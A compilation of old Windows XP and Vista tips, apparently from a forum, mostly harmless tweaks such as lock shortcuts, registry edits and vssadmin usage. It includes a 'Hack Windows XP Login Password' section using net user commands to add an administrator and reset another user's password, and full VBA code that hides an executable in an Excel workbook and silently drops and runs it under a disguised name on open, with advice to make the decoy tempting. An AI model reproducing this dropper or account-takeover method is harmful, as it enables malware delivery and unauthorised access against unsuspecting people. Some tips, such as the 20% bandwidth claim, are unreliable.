If you use your computer in an area where others may have access to it, and there are things on your system you would rather have kept confidential, locking your desktop when you leave the computer is an essential task. Here's a recipe for a desktop shortcut that will lock your computer in two easy clicks:

Right click on an empty area of the desktop and choose 'new' then 'shortcut.' The create shortcut wizard will open; in the first text box, type '%windir%\System32
undll32.exe user32.dll,LockWorkStation' and then give your shortcut an appropriate name on the next page, and hit 'finish.'

You will notice that the shortcut you created has a blank icon. To select a more appropriate one, right click on the shortcut and hit 'properties.' In the 'shortcut' tab, click the 'change icon' button.

In the 'look for icons in this file' box, type '%SystemRoot%\system32\SHELL32.dll' then click 'ok' to see a range of icons for your new shortcut. Choose an appropriate icon. Your desktop locking shortcut is now ready for use. Test it out.

Note: It is useful if u have an account as it will prompt for a password.

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Hide the Partitions

This trick is for all those people who want to hide tons of data into their box. So here it is, if you have very important data in your hard drive placed in some partition which you do not want anybody to access then this trick is only for you!

Just click on start>run type gpedit.msc, now navigate through user configuration> administrative templates > windows components> windows explorer, now double click on “Hide these specified drives in My Computer” modify it accordingly then just below you will find another option “Prevent access to drives from My Computer”, double click on this option and modify it accordingly.

To make it visible again select "disable" by double clicking on the “Hide these specified drives in My Computer” option

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Hack Windows XP Login Password

Follow these steps:
1. Open command prompt (Start->Run->cmd),
2. Enter the following command, then press ENTER

3. Enter the followin command, then press ENTER:
compmgmt.msc
This should open the computer management console.
4. Go to local users & groups->users. Right click on any user and select "set password".

If you get a "access denied" do the following:

start>run>cmd
then use following commands
1) net user test /add (this command will make test named user)
2) net localgroup administrators test /add (this command will make test user as administrators rights)

and use net user command to reset your admin. password

Alternative

What if u don't know the password of your admin and still want to hack and change .. yea u can do it ..in a very easy manner.. check this. just follow the steps.. this doesn't require u to know the admin password but still u can change it..
Start >> Run >> [type]cmd // this will open your command prompt
[type] net(space)user(press enter)
[type] net(space)user(space)[windowsloginid](sp ace)*(press enter)

// for e.g. : net user HOME *(press enter)

[type] new password (press enter) and retype it (press enter).. it will show u confirmation... // caution it wont show u the password u type.. but it still types.. the blinking pointer will b there at the same place.. but it still works..
// for e.g. : password changed successfully.

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Speed up your internet by 20%

Microsoft reserves 20% of your available bandwidth for their own purposes like Windows Updates and interrogating your PC etc

You can get it back:

Click Start then Run and type "gpedit.msc" without quotes.This opens the group policy editor. Then go to:
Local Computer Policy
then Computer Configuration
then Administrative Templates then Network then QOS Packet Scheduler and then to Limit Reservable Bandwidth.
Double click on Limit Reservable bandwidth. It will say it is not configured, but the truth is under the 'Explain' tab i.e."By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default."
So the trick is to ENABLE reservable bandwidth, then set it to ZERO. This will allow the system to reserve nothing, rather than the default 20%.It works on Win 2000 as well.

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Use ur notebook as a personal diary.

1. Open a blank Notepad file
2. Write .LOG as the first line of the file, followed by a enter. Save the file and close it.
3. Double-click the file to open it and notice that Notepad appends the current date and time to the end of the file and places the cursor on the line after.
4. Type your notes and then save and close the file.

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Multiple login in yahoo Without Using any Software

You can login with multiple id's on the same yahoo messenger without any download or patch .

Follow these steps : 
1. Go to Start ----> Run . Type regedit, then enter .

2.Navigate to HKEY_CURRENT_USER --------> Software --->yahoo ----->pager---->Test

3.On the right page , right-click and choose new Dword value .

4.Rename it as Plural.

5.Double click and assign a decimal value of 1.

Its done!!
Now close registry and restart yahoo messenger and try Multiple Login

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How to embed an exe in an Excel doc

***********************************
** How to embed an exe in an Excel doc **
***********************************



- Open a new Excel doc
- Open the Visual Basic Editor (Tools->Macros->Visual Basic Editor)
- Double-click 'ThisWorkbook'
- Copy and paste the following code into that window...

-----------------start of code----------------------------------

Option Explicit

Sub ImportFile(FileName As String)

Dim FileNum As Integer
Dim FileLength As Long
Dim FileBuffer() As Byte
Dim CurrentRow As Long
Dim BytesToRead As Long

Const MaxBuffer = 4096

FileNum = FreeFile

Open FileName For Binary Access Read As FileNum

FileLength = LOF(FileNum)
CurrentRow = 1

Do While FileLength > 0
BytesToRead = MaxBuffer
If BytesToRead > FileLength Then
BytesToRead = FileLength
End If

FileLength = FileLength - BytesToRead
ReDim FileBuffer(1 To BytesToRead)
Get FileNum, , FileBuffer

AddRow FileBuffer, CurrentRow
CurrentRow = CurrentRow + 1

Loop

Close FileNum


End Sub

Sub AddRow(FileBuffer() As Byte, RowNumber As Long)

Dim CellValue As String
Dim Index As Long

For Index = LBound(FileBuffer) To UBound(FileBuffer)
CellValue = CellValue + Right$("0" & Hex$(FileBuffer(Index)), 2)
Next

Sheet1.Cells(RowNumber, 1) = CellValue

End Sub

Sub ExportFile(FileName As String)

Dim CellValue As String
Dim Buffer() As Byte
Dim Index As Long

Dim FileNum As Long
Dim OK As Boolean
Dim RowNumber

Dim ByteCount As Long

FileNum = FreeFile
Open FileName For Binary Access Write As FileNum

OK = True
RowNumber = 1

Do
CellValue = Sheet1.Cells(RowNumber, 1)
RowNumber = RowNumber + 1

If CellValue = "" Then
OK = False
Else

ByteCount = Len(CellValue) / 2

ReDim Buffer(1 To ByteCount)
For Index = 1 To ByteCount
Buffer(Index) = CByte("&H" + Mid$(CellValue, Index * 2 - 1, 2))
Next Index

Put FileNum, , Buffer

End If

Loop While OK

Close FileNum

End Sub

-----------------end of code----------------------------------


- Go to the Immediate Window in the Editor (View->Immediate Window if it's not open)

- Type 'ThisWorkbook.ImportFile "" ' (no single quotes, keep double quotes, replace filename with the file you want to embed)
example: ThisWorkbook.ImportFile "Crogram.exe"
- Hit enter

- Under the current code, type or paste the following...

-----------------start of code----------------------------------

Private sub Workbook_Open
ExportFile ""
Shell "",vbHide
End Sub

-----------------end of code----------------------------------




- Replace with whatever you want the file to be exported as...
ie. ExportFile "C:winlogon32.exe"
Shell "C:winlogon32.exe" ....
- Go back to the excel and hide the sheet where it imported the file.
(Format->Sheet->Hide)
- You will now see a clean sheet
- Put whatever you want in it...make it look nice
- This sould also be something that you would assume would contain a macro,
and something they are going to want to open. Be creative.

- Save

- That is it. Remember: Macro setting are set to Medium on default, so in the
default state, it will prompt and ask to run a macro or not.

- It is pretty similar in Word...you just replace 'ThisWorkbook...' with 'ThisDocument...'

NOTE: I have only tried this on Office 2000...It could be diffenent is Office XP



- BE


--------------------


in the VBA editor where you are doing everything else, right click on 'ThisWorkbook' and choose 'VBAProject Properties...' then, click on the 'protection' tab, check the box where it says 'Lock project for viewing', put your password(s) in and click OK.

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Delete An "undeletable" File

Open a Command Prompt window and leave it open.

Close all open programs.

Click Start, Run and enter TASKMGR.EXE

Go to the Processes tab and End Process on Explorer.exe.

Leave Task Manager open.

Go back to the Command Prompt window and change to the directory the AVI (or other undeletable file) is located in.

At the command prompt type DEL where is the file you wish to delete.

Go back to Task Manager, click File, New Task and enter EXPLORER.EXE to restart the GUI shell.

Close Task Manager.

Or you can try this

Open Notepad.exe

Click File>Save As..>

locate the folder where ur undeletable file is

Choose 'All files' from the file type box

click once on the file u wanna delete so its name appears in the 'filename' box

put a " at the start and end of the filename

(the filename should have the extension of the undeletable file so it will overwrite it)

click save,

It should ask u to overwrite the existing file, choose yes and u can delete it as normal

Here's a manual way of doing it. I'll take this off once you put into your first post zain.

1. Start

2. Run

3. Type: command

4. To move into a directory type: cd c:\*** (The stars stand for your folder)

5. If you cannot access the folder because it has spaces for example Program Files or Kazaa Lite folder you have to do the following. instead of typing in the full folder name only take the first 6 letters then put a ~ and then 1 without spaces. Example: cd c:\progra~1\kazaal~1

6. Once your in the folder the non-deletable file it in type in dir - a list will come up with everything inside.

7. Now to delete the file type in del ***.bmp, txt, jpg, avi, etc... And if the file name has spaces you would use the special 1st 6 letters followed by a ~ and a 1 rule. Example: if your file name was bad file.bmp you would type once in the specific folder thorugh command, del badfil~1.bmp and your file should be gone. Make sure to type in the correct extension.

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Change Text on XP Start Button

Step 1 - Modify Explorer.exe File

In order to make the changes, the file explorer.exe located at C:\Windows needs to be edited. Since explorer.exe is a binary file it requires a special editor. For purposes of this article I have used Resource Hacker. Resource HackerTM is a freeware utility to view, modify, rename, add, delete and extract resources in 32bit Windows executables and resource files (*.res). It incorporates an internal resource script compiler and decompiler and works on Microsoft Windows 95/98/ME, Windows NT, Windows 2000 and Windows XP operating systems.

get this from h**p://delphi.icm.edu.pl/ftp/tools/ResHack.zip

The first step is to make a backup copy of the file explorer.exe located at C:\Windows\explorer. Place it in a folder somewhere on your hard drive where it will be safe. Start Resource Hacker and open explorer.exe located at C:\Windows\explorer.exe.

The category we are going to be using is "String Table". Expand it by clicking the plus sign then navigate down to and expand string 37 followed by highlighting 1033. If you are using the Classic Layout rather than the XP Layout, use number 38. The right hand pane will display the stringtable. We’re going to modify item 578, currently showing the word “start” just as it displays on the current Start button.

There is no magic here. Just double click on the word “start” so that it’s highlighted, making sure the quotation marks are not part of the highlight. They need to remain in place, surrounding the new text that you’ll type. Go ahead and type your new entry. In my case I used Click Me!

You’ll notice that after the new text string has been entered the Compile Script button that was grayed out is now active. I won’t get into what’s involved in compiling a script, but suffice it to say it’s going to make this exercise worthwhile. Click Compile Script and then save the altered file using the Save As command on the File Menu. Do not use the Save command – Make sure to use the Save As command and choose a name for the file. Save the newly named file to C:\Windows.

Step 2 – Modify the Registry

!!!make a backup of your registry before making changes!!!

Now that the modified explorer.exe has been created it’s necessary to modify the registry so the file will be recognized when the user logs on to the system. If you don’t know how to access the registry I’m not sure this article is for you, but just in case it’s a temporary memory lapse, go to Start (soon to be something else) Run and type regedit in the Open field. Navigate to:

HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon

In the right pane, double click the "Shell" entry to open the Edit String dialog box. In Value data: line, enter the name that was used to save the modified explorer.exe file. Click OK.

Close Registry Editor and either log off the system and log back in, or reboot the entire system if that’s your preference. If all went as planned you should see your new Start button with the revised text.[/b] 

Send SMS for free from ur email account 2 any mobile., It's very fast

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this is what u r lookin for:

1. Andhra Pradesh Airtel 

Code:

9849012345@airtelap.com

2. Andhra Pradesh Idea Cellular 

Code:

9848012345@ideacellular.net

3. Andhra Pradesh Hutch 

Code:

9885012345@south.hutch.co.in

4. Chennai Sky cell / Airtel 

Code:

9840012345@airtelchennai.com

5. Chennai RPG Cellular 

Code:

9841012345@rpgmail.net

6. Delhi Hutch 

Code:

9811012345@delhi.hutch.co.in

7. Gujarat Idea 

Code:

9824012345@ideacellular.net

8. Gujarat Celforce / Fascel 

Code:

9825012345@celforce.com

9. Karnataka Hutch 

Code:

9886012345@south.hutch.co.in

10. Karnataka Airtel 

Code:

phonenumber@airtelkk.com

11. Tamil Nadu Airtel 

Code:

919894012345@airteltn.com

12. Tamil Nadu BPL Mobile 

Code:

9843012345@bplmobile.com

13. Tamil Nadu Aircel 

Code:

9842012345@airsms.com

Free SMS to BSNL Mobile Phones ( 94 series ) - BSNL users who activated Unified Messaging service will be provided with an email address for their cell phone. Based on location the email varies i.e., 

Code:

North - cellnumber@bsnlumn.com  South - cellnumber@bsnlums.com  East - cellnumber@bsnlume.com  West - cellnumber@bsnlumw.com

Just send an email from your gmail account to the Mobile Email of your friend and it will SMSed to your friend mobile phone.

Enable Hidden BootScreen in Windows Vista

start -> run -> msconfig -> System Configuration
click on Boot tab 
and tick No GUI boot option

Reduce Disk Space Used by windows Vista System Restore

This has become one of the biggest problems with users who made the switch to Windows Vista and have limited disk space. Unlike System Restore in Windows XP, you could adjust the amount of disk usage from XP's Ststem Restore utility.

Vista's System Restore keeps two types of restore points, one for shadow copies of files used to restore previous versions of a file that you want to recover due to corruption or deleting of files, and the typical restoring of a previoius saved system state. System Restore uses up to 15% of each NTFS drive on the system that is at least 1 GB.

To determine how much disk space System Restore is using, the following command can be used:
vssadmin list shadowstorage

For the above command to run you must use elevated privileges:
Click on the Start menu then click All Programs / Accessories
Right Click on the Command Prompt option and from the drop down menu click on the Run as Administrator option
At the command prompt type vssadmin list shadowstorage and Press Enter (NOTE: if the command does not run change directories to c:windowssystem32)
After the vssadmin has executed you will see results similar to the following:

Used Shadow Copy Storage space: 237.419 MB
Allocated Shadow Copy Storage space: 400 MB
Maximum Shadow Copy Storage space: 2.092 GB
The output above shows space used on the C: drive by System Restore is 237.419 MB.

The maximum space allocated for System restore is 2.092 GB

To view the number of restore points you currently have on your Computer run the following command
vssadmin list shadows

Next, to reduce the allocated space used by Vista's System Restore, use the following command:
vssadmin resize shadowstorage /on=[OnVolumeSpec:] /for=[ForVolumeSpec:] /maxsize=[MaxSizeSpec]

Where

OnVolumeSpec: is the drive letter, for examaple C
ForVolumeSpec: is the drive letter, for example C
MaxSizeSpec: is the maximum size you want System Restore to use, example 1GB

example: vssadmin resize shadowstorage /On=C: /For=C: /Maxsize=1GB

When decreasing the space allocated to System Restore, you will loose the earlier system restore points. The advantage is gaining extra free space. If you are concerned with losing the previous restore points, wait until you do not need them anymore before reducing the allocated space.

If you plan on upgrading to Windows Vista or running a clean install and will need extra space, consider reducing the space after installation has completed.

It is not recommended to disable System Restore. The capability to restore to a previous point in time or having the new Shadow Copy feature available can be a time saver if something goes wrong or if you delete a file.

How can you stop Windows XP from launching program CDs?

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· Click Start, click Run, type GPEDIT.MSC to open Group Policy in the Microsoft
Management Console.

· Double-click Computer Configuration, double-click Administrative templates,
double-click System, and then click Turn off autoplay.

· The instructions on your screen describe how to configure this setting. Click
Properties to display the setting dialog.

· Click Enabled, and choose CD-ROM drives, then click OK, to stop CD autoplay.
This setting does not prevent Autoplay for music CDs.

Add "INSERT" Option in CD Drive Context Menu !

Finally I got it working.
After a few minutes of R&D, I got an option "Insert" in my CD Drive context menu to close the open tray

What I did, I had a setup of a little utility on my HDD since ages, actually I got the utility from a CHIP CD (I think?). This utility just sits in the system try and lets u open/close the tray.

I just installed it bcoz some1 requested me to find out some way to add close cd option in the CD Drive context menu.

Then after some R&D, I got that a file cdeject.dll is installed by it and causes the open/close operation.

So I just copied the DLL file and then uninstalled the s/w. Now the Insert option was not available in CD drive context menu. And thats what I wanted!

Now I copied the DLL file to System32 folder, and added its entry in Registry.

And VOILLA, I got the Insert option back.....

So here is the step-by-step procedure:

1.) D/l the attached file, extract it and copy the DLL file to "%windir%\System32" folder.
2.) Copy following code in notepad:

Code:

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\CLSID\{02A07E80-EFA2-11D4-8306-A7EBD4C50C7C}]
@="CDEject Context Menu Shell Extension"

[HKEY_CLASSES_ROOT\CLSID\{02A07E80-EFA2-11D4-8306-A7EBD4C50C7C}\InprocServer32]
@="C:\\WINDOWS\\system32\\cdeject.dll"
"ThreadingModel"="Apartment"

[HKEY_CLASSES_ROOT\Drive\shellex\ContextMenuHandler s\{02a07e80-efa2-11d4-8306-a7ebd4c50c7c}]
@="{02a07e80-efa2-11d4-8306-a7ebd4c50c7c}"


3.) Save the file with any name but the extension must be .REG
4.) Now run the file, it'll ask ur permission, accept it.
5.) Now u'll get an Insert option in the CD Drive context menu

Make XP boot even Faster

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Microsoft has chosen a completely different path for XP and it's boot features by trying to incorporate as much support for newer fastboot BIOSes that are on most current motherboards. They built XP in such a way as to make it able to take advantage of features in these new BIOSes, and one of the coolest things is a small application called bootvis. bootvis.

Bootvis watches everything that loads at boot time, from the moment the OS begins to load just after POST (Power On Self-Test) to the moment you get to a usable Desktop. Some programs, most notably Norton AntiVirus 2002, suck up valuable seconds before you can actually DO anything even though you're at the Desktop. bootvis generates a trace file that you load and can then "see" a visual representation of what's happening. Every file, driver, hard drive read/write, etc., is recorded. You can then use bootvis to optimize the loading of files during the boot sequence. bootvis will rearrange the ways these very files are stored on the hard drive, thereby improving the boot time dramatically.

Make your folders invicible...

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1)Right Click on the desktop.Make a new folder
2)Now rename the folder with a space(U have to hold ALT key and type 0160).
3)Now u have a folder with out a name.
4)Right click on the folder>properties>customize. Click on change icon.
5)Scroll a bit, u should find some empty spaces, Click on any one of them.

click ok

Make your Folders Private

•Open My Computer
•Double-click the drive where Windows is installed (usually drive (C, unless you have more than one drive on your computer).
•If the contents of the drive are hidden, under System Tasks, click Show the contents of this drive.
•Double-click the Documents and Settings folder.
•Double-click your user folder.
•Right-click any folder in your user profile, and then click Properties.
•On the Sharing tab, select the Make this folder private so that only I have access to it check box.


Note

•To open My Computer, click Start, and then click My Computer.
•This option is only available for folders included in your user profile. Folders in your user profile include My Documents and its subfolders, Desktop, Start Menu, Cookies, and Favorites. If you do not make these folders private, they are available to everyone who uses your computer.
•When you make a folder private, all of its subfolders are private as well. For example, when you make My Documents private, you also make My Music and My Pictures private. When you share a folder, you also share all of its subfolders unless you make them private.
•You cannot make your folders private if your drive is not formatted as NTFS For information about converting your drive to NTFS

To Rename the Recycle Bin

To change the name of the Recycle Bin desktop icon, open Regedit and go to:

HKEY_CLASSES_ROOT/CLSID/{645FF040-5081-101B-9F08-00AA002F954E}

and change the name "Recycle Bin" to whatever you want (don't type any quotes).

Speed up your browsing of Windows 2000 & XP machines

Here's a great tip to speed up your browsing of Windows XP machines. Its actually a fix to a bug installed as default in Windows 2000 that scans shared files for Scheduled Tasks. And it turns out that you can experience a delay as long as 30 seconds when you try to view shared files across a network because Windows 2000 is using the extra time to search the remote computer for any Scheduled Tasks. Note that though the fix is originally intended for only those affected, Windows 2000 users will experience that the actual browsing speed of both the Internet & Windows Explorers improve significantly after applying it since it doesn't search for Scheduled Tasks anymore. Here's how :

Open up the Registry and go to :

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Curr ent Version/Explorer/RemoteComputer/NameSpace

Under that branch, select the key :

{D6277990-4C6A-11CF-8D87-00AA0060F5BF}

and delete it.

This is key that instructs Windows to search for Scheduled Tasks. If you like you may want to export the exact branch so that you can restore the key if necessary.

This fix is so effective that it doesn't require a reboot and you can almost immediately determine yourself how much it speeds up your browsing processes.

To make your Desktop Icons Transparent

Go to ontrol Panel > System, > Advanced > Performance area > Settings button Visual Effects tab "Use drop shadows for icon labels on the Desktop"

Make your own icons

It's shockingly easy to create your own icons in Windows XP. Let's do it: Click Start, click All Programs, click Accessories, and then click Paint. On the Image menu, click Attributes. Type 32 for both the Width and Height of the document, and make sure that Pixels is selected under Units. Click OK to create a new 32x32-pixel document: the size of an icon.

Now add type, color, or do whatever you'd like to your image. I like to shrink photos (headshots work best) to 32x32 and simply paste them into my Paint document. When you're finished, open the File menu and click Save As. Use the dialog box to choose where you want to save your file, then give it a name followed by ".ico" (without the quotes), and click Save. (The extension ".ico" tells Windows that it's an icon file.) You just created an icon! Now you can change any shortcut or folder to your own icon—just browse to it on your hard drive.